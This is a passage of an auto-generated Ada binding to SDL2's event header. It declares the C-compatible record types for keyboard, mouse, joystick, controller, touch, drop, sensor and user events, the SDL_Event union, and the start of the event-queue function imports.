c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:213
timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:214
windowID : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:215
state : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:216
repeat : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:217
padding2 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:218
padding3 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:219
keysym : aliased SDL_keyboard_h.SDL_Keysym; -- ..\SDL2_tmp\SDL_events.h:220
end record;
pragma Convention (C_Pass_By_Copy, SDL_KeyboardEvent); -- ..\SDL2_tmp\SDL_events.h:211
--*< In milliseconds, populated using SDL_GetTicks()
--*< The window with keyboard focus, if any
--*< ::SDL_PRESSED or ::SDL_RELEASED
--*< Non-zero if this is a key repeat
--*< The key that was pressed or released
--*
-- * \brief Keyboard text editing event structure (event.edit.*)
--
--*< ::SDL_TEXTEDITING
subtype SDL_TextEditingEvent_text_array is Interfaces.C.char_array (0 .. 31);
type SDL_TextEditingEvent is record
c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:229
timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:230
windowID : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:231
text : aliased SDL_TextEditingEvent_text_array; -- ..\SDL2_tmp\SDL_events.h:232
start : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:233
length : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:234
end record;
pragma Convention (C_Pass_By_Copy, SDL_TextEditingEvent); -- ..\SDL2_tmp\SDL_events.h:227
--*< In milliseconds, populated using SDL_GetTicks()
--*< The window with keyboard focus, if any
--*< The editing text
--*< The start cursor of selected editing text
--*< The length of selected editing text
--*
-- * \brief Keyboard text input event structure (event.text.*)
--
--*< ::SDL_TEXTINPUT
subtype SDL_TextInputEvent_text_array is Interfaces.C.char_array (0 .. 31);
type SDL_TextInputEvent is record
c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:244
timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:245
windowID : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:246
text : aliased SDL_TextInputEvent_text_array; -- ..\SDL2_tmp\SDL_events.h:247
end record;
pragma Convention (C_Pass_By_Copy, SDL_TextInputEvent); -- ..\SDL2_tmp\SDL_events.h:242
--*< In milliseconds, populated using SDL_GetTicks()
--*< The window with keyboard focus, if any
--*< The input text
--*
-- * \brief Mouse motion event structure (event.motion.*)
--
--*< ::SDL_MOUSEMOTION
type SDL_MouseMotionEvent is record
c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:255
timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:256
windowID : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:257
which : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:258
state : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:259
x : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:260
y : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:261
xrel : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:262
yrel : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:263
end record;
pragma Convention (C_Pass_By_Copy, SDL_MouseMotionEvent); -- ..\SDL2_tmp\SDL_events.h:253
--*< In milliseconds, populated using SDL_GetTicks()
--*< The window with mouse focus, if any
--*< The mouse instance id, or SDL_TOUCH_MOUSEID
--*< The current button state
--*< X coordinate, relative to window
--*< Y coordinate, relative to window
--*< The relative motion in the X direction
--*< The relative motion in the Y direction
--*
-- * \brief Mouse button event structure (event.button.*)
--
--*< ::SDL_MOUSEBUTTONDOWN or ::SDL_MOUSEBUTTONUP
type SDL_MouseButtonEvent is record
c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:271
timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:272
windowID : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:273
which : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:274
button : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:275
state : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:276
clicks : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:277
padding1 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:278
x : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:279
y : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:280
end record;
pragma Convention (C_Pass_By_Copy, SDL_MouseButtonEvent); -- ..\SDL2_tmp\SDL_events.h:269
--*< In milliseconds, populated using SDL_GetTicks()
--*< The window with mouse focus, if any
--*< The mouse instance id, or SDL_TOUCH_MOUSEID
--*< The mouse button index
--*< ::SDL_PRESSED or ::SDL_RELEASED
--*< 1 for single-click, 2 for double-click, etc.
--*< X coordinate, relative to window
--*< Y coordinate, relative to window
--*
-- * \brief Mouse wheel event structure (event.wheel.*)
--
--*< ::SDL_MOUSEWHEEL
type SDL_MouseWheelEvent is record
c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:288
timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:289
windowID : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:290
which : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:291
x : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:292
y : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:293
direction : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:294
end record;
pragma Convention (C_Pass_By_Copy, SDL_MouseWheelEvent); -- ..\SDL2_tmp\SDL_events.h:286
--*< In milliseconds, populated using SDL_GetTicks()
--*< The window with mouse focus, if any
--*< The mouse instance id, or SDL_TOUCH_MOUSEID
--*< The amount scrolled horizontally, positive to the right and negative to the left
--*< The amount scrolled vertically, positive away from the user and negative toward the user
--*< Set to one of the SDL_MOUSEWHEEL_* defines. When FLIPPED the values in X and Y will be opposite. Multiply by -1 to change them back
--*
-- * \brief Joystick axis motion event structure (event.jaxis.*)
--
--*< ::SDL_JOYAXISMOTION
type SDL_JoyAxisEvent is record
c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:302
timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:303
which : aliased SDL_joystick_h.SDL_JoystickID; -- ..\SDL2_tmp\SDL_events.h:304
axis : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:305
padding1 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:306
padding2 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:307
padding3 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:308
value : aliased SDL_stdinc_h.Sint16; -- ..\SDL2_tmp\SDL_events.h:309
padding4 : aliased SDL_stdinc_h.Uint16; -- ..\SDL2_tmp\SDL_events.h:310
end record;
pragma Convention (C_Pass_By_Copy, SDL_JoyAxisEvent); -- ..\SDL2_tmp\SDL_events.h:300
--*< In milliseconds, populated using SDL_GetTicks()
--*< The joystick instance id
--*< The joystick axis index
--*< The axis value (range: -32768 to 32767)
--*
-- * \brief Joystick trackball motion event structure (event.jball.*)
--
--*< ::SDL_JOYBALLMOTION
type SDL_JoyBallEvent is record
c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:318
timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:319
which : aliased SDL_joystick_h.SDL_JoystickID; -- ..\SDL2_tmp\SDL_events.h:320
ball : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:321
padding1 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:322
padding2 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:323
padding3 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:324
xrel : aliased SDL_stdinc_h.Sint16; -- ..\SDL2_tmp\SDL_events.h:325
yrel : aliased SDL_stdinc_h.Sint16; -- ..\SDL2_tmp\SDL_events.h:326
end record;
pragma Convention (C_Pass_By_Copy, SDL_JoyBallEvent); -- ..\SDL2_tmp\SDL_events.h:316
--*< In milliseconds, populated using SDL_GetTicks()
--*< The joystick instance id
--*< The joystick trackball index
--*< The relative motion in the X direction
--*< The relative motion in the Y direction
--*
-- * \brief Joystick hat position change event structure (event.jhat.*)
--
--*< ::SDL_JOYHATMOTION
type SDL_JoyHatEvent is record
c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:334
timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:335
which : aliased SDL_joystick_h.SDL_JoystickID; -- ..\SDL2_tmp\SDL_events.h:336
hat : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:337
value : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:338
padding1 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:345
padding2 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:346
end record;
pragma Convention (C_Pass_By_Copy, SDL_JoyHatEvent); -- ..\SDL2_tmp\SDL_events.h:332
--*< In milliseconds, populated using SDL_GetTicks()
--*< The joystick instance id
--*< The joystick hat index
--*< The hat position value.
-- * \sa ::SDL_HAT_LEFTUP ::SDL_HAT_UP ::SDL_HAT_RIGHTUP
-- * \sa ::SDL_HAT_LEFT ::SDL_HAT_CENTERED ::SDL_HAT_RIGHT
-- * \sa ::SDL_HAT_LEFTDOWN ::SDL_HAT_DOWN ::SDL_HAT_RIGHTDOWN
-- *
-- * Note that zero means the POV is centered.
--
--*
-- * \brief Joystick button event structure (event.jbutton.*)
--
--*< ::SDL_JOYBUTTONDOWN or ::SDL_JOYBUTTONUP
type SDL_JoyButtonEvent is record
c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:354
timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:355
which : aliased SDL_joystick_h.SDL_JoystickID; -- ..\SDL2_tmp\SDL_events.h:356
button : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:357
state : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:358
padding1 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:359
padding2 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:360
end record;
pragma Convention (C_Pass_By_Copy, SDL_JoyButtonEvent); -- ..\SDL2_tmp\SDL_events.h:352
--*< In milliseconds, populated using SDL_GetTicks()
--*< The joystick instance id
--*< The joystick button index
--*< ::SDL_PRESSED or ::SDL_RELEASED
--*
-- * \brief Joystick device event structure (event.jdevice.*)
--
--*< ::SDL_JOYDEVICEADDED or ::SDL_JOYDEVICEREMOVED
type SDL_JoyDeviceEvent is record
c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:368
timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:369
which : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:370
end record;
pragma Convention (C_Pass_By_Copy, SDL_JoyDeviceEvent); -- ..\SDL2_tmp\SDL_events.h:366
--*< In milliseconds, populated using SDL_GetTicks()
--*< The joystick device index for the ADDED event, instance id for the REMOVED event
--*
-- * \brief Game controller axis motion event structure (event.caxis.*)
--
--*< ::SDL_CONTROLLERAXISMOTION
type SDL_ControllerAxisEvent is record
c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:379
timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:380
which : aliased SDL_joystick_h.SDL_JoystickID; -- ..\SDL2_tmp\SDL_events.h:381
axis : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:382
padding1 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:383
padding2 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:384
padding3 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:385
value : aliased SDL_stdinc_h.Sint16; -- ..\SDL2_tmp\SDL_events.h:386
padding4 : aliased SDL_stdinc_h.Uint16; -- ..\SDL2_tmp\SDL_events.h:387
end record;
pragma Convention (C_Pass_By_Copy, SDL_ControllerAxisEvent); -- ..\SDL2_tmp\SDL_events.h:377
--*< In milliseconds, populated using SDL_GetTicks()
--*< The joystick instance id
--*< The controller axis (SDL_GameControllerAxis)
--*< The axis value (range: -32768 to 32767)
--*
-- * \brief Game controller button event structure (event.cbutton.*)
--
--*< ::SDL_CONTROLLERBUTTONDOWN or ::SDL_CONTROLLERBUTTONUP
type SDL_ControllerButtonEvent is record
c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:396
timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:397
which : aliased SDL_joystick_h.SDL_JoystickID; -- ..\SDL2_tmp\SDL_events.h:398
button : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:399
state : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:400
padding1 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:401
padding2 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:402
end record;
pragma Convention (C_Pass_By_Copy, SDL_ControllerButtonEvent); -- ..\SDL2_tmp\SDL_events.h:394
--*< In milliseconds, populated using SDL_GetTicks()
--*< The joystick instance id
--*< The controller button (SDL_GameControllerButton)
--*< ::SDL_PRESSED or ::SDL_RELEASED
--*
-- * \brief Controller device event structure (event.cdevice.*)
--
--*< ::SDL_CONTROLLERDEVICEADDED, ::SDL_CONTROLLERDEVICEREMOVED, or ::SDL_CONTROLLERDEVICEREMAPPED
type SDL_ControllerDeviceEvent is record
c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:411
timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:412
which : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:413
end record;
pragma Convention (C_Pass_By_Copy, SDL_ControllerDeviceEvent); -- ..\SDL2_tmp\SDL_events.h:409
--*< In milliseconds, populated using SDL_GetTicks()
--*< The joystick device index for the ADDED event, instance id for the REMOVED or REMAPPED event
--*
-- * \brief Audio device event structure (event.adevice.*)
--
--*< ::SDL_AUDIODEVICEADDED, or ::SDL_AUDIODEVICEREMOVED
type SDL_AudioDeviceEvent is record
c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:421
timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:422
which : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:423
iscapture : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:424
padding1 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:425
padding2 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:426
padding3 : aliased SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:427
end record;
pragma Convention (C_Pass_By_Copy, SDL_AudioDeviceEvent); -- ..\SDL2_tmp\SDL_events.h:419
--*< In milliseconds, populated using SDL_GetTicks()
--*< The audio device index for the ADDED event (valid until next SDL_GetNumAudioDevices() call), SDL_AudioDeviceID for the REMOVED event
--*< zero if an output device, non-zero if a capture device.
--*
-- * \brief Touch finger event structure (event.tfinger.*)
--
--*< ::SDL_FINGERMOTION or ::SDL_FINGERDOWN or ::SDL_FINGERUP
type SDL_TouchFingerEvent is record
c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:436
timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:437
touchId : aliased SDL_touch_h.SDL_TouchID; -- ..\SDL2_tmp\SDL_events.h:438
fingerId : aliased SDL_touch_h.SDL_FingerID; -- ..\SDL2_tmp\SDL_events.h:439
x : aliased float; -- ..\SDL2_tmp\SDL_events.h:440
y : aliased float; -- ..\SDL2_tmp\SDL_events.h:441
dx : aliased float; -- ..\SDL2_tmp\SDL_events.h:442
dy : aliased float; -- ..\SDL2_tmp\SDL_events.h:443
pressure : aliased float; -- ..\SDL2_tmp\SDL_events.h:444
end record;
pragma Convention (C_Pass_By_Copy, SDL_TouchFingerEvent); -- ..\SDL2_tmp\SDL_events.h:434
--*< In milliseconds, populated using SDL_GetTicks()
--*< The touch device id
--*< Normalized in the range 0...1
--*< Normalized in the range 0...1
--*< Normalized in the range -1...1
--*< Normalized in the range -1...1
--*< Normalized in the range 0...1
--*
-- * \brief Multiple Finger Gesture Event (event.mgesture.*)
--
--*< ::SDL_MULTIGESTURE
type SDL_MultiGestureEvent is record
c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:453
timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:454
touchId : aliased SDL_touch_h.SDL_TouchID; -- ..\SDL2_tmp\SDL_events.h:455
dTheta : aliased float; -- ..\SDL2_tmp\SDL_events.h:456
dDist : aliased float; -- ..\SDL2_tmp\SDL_events.h:457
x : aliased float; -- ..\SDL2_tmp\SDL_events.h:458
y : aliased float; -- ..\SDL2_tmp\SDL_events.h:459
numFingers : aliased SDL_stdinc_h.Uint16; -- ..\SDL2_tmp\SDL_events.h:460
padding : aliased SDL_stdinc_h.Uint16; -- ..\SDL2_tmp\SDL_events.h:461
end record;
pragma Convention (C_Pass_By_Copy, SDL_MultiGestureEvent); -- ..\SDL2_tmp\SDL_events.h:451
--*< In milliseconds, populated using SDL_GetTicks()
--*< The touch device id
--*
-- * \brief Dollar Gesture Event (event.dgesture.*)
--
--*< ::SDL_DOLLARGESTURE or ::SDL_DOLLARRECORD
type SDL_DollarGestureEvent is record
c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:470
timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:471
touchId : aliased SDL_touch_h.SDL_TouchID; -- ..\SDL2_tmp\SDL_events.h:472
gestureId : aliased SDL_gesture_h.SDL_GestureID; -- ..\SDL2_tmp\SDL_events.h:473
numFingers : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:474
error : aliased float; -- ..\SDL2_tmp\SDL_events.h:475
x : aliased float; -- ..\SDL2_tmp\SDL_events.h:476
y : aliased float; -- ..\SDL2_tmp\SDL_events.h:477
end record;
pragma Convention (C_Pass_By_Copy, SDL_DollarGestureEvent); -- ..\SDL2_tmp\SDL_events.h:468
--*< In milliseconds, populated using SDL_GetTicks()
--*< The touch device id
--*< Normalized center of gesture
--*< Normalized center of gesture
--*
-- * \brief An event used to request a file open by the system (event.drop.*)
-- * This event is enabled by default, you can disable it with SDL_EventState().
-- * \note If this event is enabled, you must free the filename in the event.
--
--*< ::SDL_DROPBEGIN or ::SDL_DROPFILE or ::SDL_DROPTEXT or ::SDL_DROPCOMPLETE
type SDL_DropEvent is record
c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:488
timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:489
file : Interfaces.C.Strings.chars_ptr; -- ..\SDL2_tmp\SDL_events.h:490
windowID : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:491
end record;
pragma Convention (C_Pass_By_Copy, SDL_DropEvent); -- ..\SDL2_tmp\SDL_events.h:486
--*< In milliseconds, populated using SDL_GetTicks()
--*< The file name, which should be freed with SDL_free(), is NULL on begin/complete
--*< The window that was dropped on, if any
--*
-- * \brief Sensor event structure (event.sensor.*)
--
--*< ::SDL_SENSORUPDATE
type SDL_SensorEvent_data_array is array (0 .. 5) of aliased float;
type SDL_SensorEvent is record
c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:500
timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:501
which : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:502
data : aliased SDL_SensorEvent_data_array; -- ..\SDL2_tmp\SDL_events.h:503
end record;
pragma Convention (C_Pass_By_Copy, SDL_SensorEvent); -- ..\SDL2_tmp\SDL_events.h:498
--*< In milliseconds, populated using SDL_GetTicks()
--*< The instance ID of the sensor
--*< Up to 6 values from the sensor - additional values can be queried using SDL_SensorGetData()
--*
-- * \brief The "quit requested" event
--
--*< ::SDL_QUIT
type SDL_QuitEvent is record
c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:511
timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:512
end record;
pragma Convention (C_Pass_By_Copy, SDL_QuitEvent); -- ..\SDL2_tmp\SDL_events.h:509
--*< In milliseconds, populated using SDL_GetTicks()
--*
-- * \brief OS Specific event
--
--*< ::SDL_QUIT
type SDL_OSEvent is record
c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:520
timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:521
end record;
pragma Convention (C_Pass_By_Copy, SDL_OSEvent); -- ..\SDL2_tmp\SDL_events.h:518
--*< In milliseconds, populated using SDL_GetTicks()
--*
-- * \brief A user-defined event type (event.user.*)
--
--*< ::SDL_USEREVENT through ::SDL_LASTEVENT-1
type SDL_UserEvent is record
c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:529
timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:530
windowID : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:531
code : aliased SDL_stdinc_h.Sint32; -- ..\SDL2_tmp\SDL_events.h:532
data1 : System.Address; -- ..\SDL2_tmp\SDL_events.h:533
data2 : System.Address; -- ..\SDL2_tmp\SDL_events.h:534
end record;
pragma Convention (C_Pass_By_Copy, SDL_UserEvent); -- ..\SDL2_tmp\SDL_events.h:527
--*< In milliseconds, populated using SDL_GetTicks()
--*< The associated window if any
--*< User defined event code
--*< User defined data pointer
--*< User defined data pointer
type SDL_SysWMmsg is null record; -- incomplete struct
--*
-- * \brief A video driver dependent system event (event.syswm.*)
-- * This event is disabled by default, you can enable it with SDL_EventState()
-- *
-- * \note If you want to use this event, you should include SDL_syswm.h.
--
--*< ::SDL_SYSWMEVENT
type SDL_SysWMEvent is record
c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:549
timestamp : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:550
msg : access SDL_SysWMmsg; -- ..\SDL2_tmp\SDL_events.h:551
end record;
pragma Convention (C_Pass_By_Copy, SDL_SysWMEvent); -- ..\SDL2_tmp\SDL_events.h:547
--*< In milliseconds, populated using SDL_GetTicks()
--*< driver dependent data, defined in SDL_syswm.h
--*
-- * \brief General event structure
--
--*< Event type, shared with all events
type SDL_Event_padding_array is array (0 .. 55) of aliased SDL_stdinc_h.Uint8;
type SDL_Event (discr : unsigned := 0) is record
case discr is
when 0 =>
c_type : aliased SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:559
when 1 =>
common : aliased SDL_CommonEvent; -- ..\SDL2_tmp\SDL_events.h:560
when 2 =>
display : aliased SDL_DisplayEvent; -- ..\SDL2_tmp\SDL_events.h:561
when 3 =>
window : aliased SDL_WindowEvent; -- ..\SDL2_tmp\SDL_events.h:562
when 4 =>
key : aliased SDL_KeyboardEvent; -- ..\SDL2_tmp\SDL_events.h:563
when 5 =>
edit : aliased SDL_TextEditingEvent; -- ..\SDL2_tmp\SDL_events.h:564
when 6 =>
text : aliased SDL_TextInputEvent; -- ..\SDL2_tmp\SDL_events.h:565
when 7 =>
motion : aliased SDL_MouseMotionEvent; -- ..\SDL2_tmp\SDL_events.h:566
when 8 =>
button : aliased SDL_MouseButtonEvent; -- ..\SDL2_tmp\SDL_events.h:567
when 9 =>
wheel : aliased SDL_MouseWheelEvent; -- ..\SDL2_tmp\SDL_events.h:568
when 10 =>
jaxis : aliased SDL_JoyAxisEvent; -- ..\SDL2_tmp\SDL_events.h:569
when 11 =>
jball : aliased SDL_JoyBallEvent; -- ..\SDL2_tmp\SDL_events.h:570
when 12 =>
jhat : aliased SDL_JoyHatEvent; -- ..\SDL2_tmp\SDL_events.h:571
when 13 =>
jbutton : aliased SDL_JoyButtonEvent; -- ..\SDL2_tmp\SDL_events.h:572
when 14 =>
jdevice : aliased SDL_JoyDeviceEvent; -- ..\SDL2_tmp\SDL_events.h:573
when 15 =>
caxis : aliased SDL_ControllerAxisEvent; -- ..\SDL2_tmp\SDL_events.h:574
when 16 =>
cbutton : aliased SDL_ControllerButtonEvent; -- ..\SDL2_tmp\SDL_events.h:575
when 17 =>
cdevice : aliased SDL_ControllerDeviceEvent; -- ..\SDL2_tmp\SDL_events.h:576
when 18 =>
adevice : aliased SDL_AudioDeviceEvent; -- ..\SDL2_tmp\SDL_events.h:577
when 19 =>
sensor : aliased SDL_SensorEvent; -- ..\SDL2_tmp\SDL_events.h:578
when 20 =>
quit : aliased SDL_QuitEvent; -- ..\SDL2_tmp\SDL_events.h:579
when 21 =>
user : aliased SDL_UserEvent; -- ..\SDL2_tmp\SDL_events.h:580
when 22 =>
syswm : aliased SDL_SysWMEvent; -- ..\SDL2_tmp\SDL_events.h:581
when 23 =>
tfinger : aliased SDL_TouchFingerEvent; -- ..\SDL2_tmp\SDL_events.h:582
when 24 =>
mgesture : aliased SDL_MultiGestureEvent; -- ..\SDL2_tmp\SDL_events.h:583
when 25 =>
dgesture : aliased SDL_DollarGestureEvent; -- ..\SDL2_tmp\SDL_events.h:584
when 26 =>
drop : aliased SDL_DropEvent; -- ..\SDL2_tmp\SDL_events.h:585
when others =>
padding : aliased SDL_Event_padding_array; -- ..\SDL2_tmp\SDL_events.h:594
end case;
end record;
pragma Convention (C_Pass_By_Copy, SDL_Event);
pragma Unchecked_Union (SDL_Event); -- ..\SDL2_tmp\SDL_events.h:557
--*< Common event data
--*< Window event data
--*< Window event data
--*< Keyboard event data
--*< Text editing event data
--*< Text input event data
--*< Mouse motion event data
--*< Mouse button event data
--*< Mouse wheel event data
--*< Joystick axis event data
--*< Joystick ball event data
--*< Joystick hat event data
--*< Joystick button event data
--*< Joystick device change event data
--*< Game Controller axis event data
--*< Game Controller button event data
--*< Game Controller device event data
--*< Audio device event data
--*< Sensor event data
--*< Quit request event data
--*< Custom event data
--*< System dependent window event data
--*< Touch finger event data
--*< Gesture event data
--*< Gesture event data
--*< Drag and drop event data
-- This is necessary for ABI compatibility between Visual C++ and GCC
-- Visual C++ will respect the push pack pragma and use 52 bytes for
-- this structure, and GCC will use the alignment of the largest datatype
-- within the union, which is 8 bytes.
-- So... we'll add padding to force the size to be 56 bytes for both.
--
-- Function prototypes
--*
-- * Pumps the event loop, gathering events from the input devices.
-- *
-- * This function updates the event queue and internal input device state.
-- *
-- * This should only be run in the thread that sets the video mode.
--
procedure SDL_PumpEvents; -- ..\SDL2_tmp\SDL_events.h:607
pragma Import (C, SDL_PumpEvents, "SDL_PumpEvents");
-- @{
type SDL_eventaction is
(SDL_ADDEVENT,
SDL_PEEKEVENT,
SDL_GETEVENT);
pragma Convention (C, SDL_eventaction); -- ..\SDL2_tmp\SDL_events.h:615
--*
-- * Checks the event queue for messages and optionally returns them.
-- *
-- * If \c action is ::SDL_ADDEVENT, up to \c numevents events will be added to
-- * the back of the event queue.
-- *
-- * If \c action is ::SDL_PEEKEVENT, up to \c numevents events at the front
-- * of the event queue, within the specified minimum and maximum type,
-- * will be returned and will not be removed from the queue.
-- *
-- * If \c action is ::SDL_GETEVENT, up to \c numevents events at the front
-- * of the event queue, within the specified minimum and maximum type,
-- * will be returned and will be removed from the queue.
-- *
-- * \return The number of events actually stored, or -1 if there was an error.
-- *
-- * This function is thread-safe.
--
function SDL_PeepEvents
(events : access SDL_Event;
numevents : int;
action : SDL_eventaction;
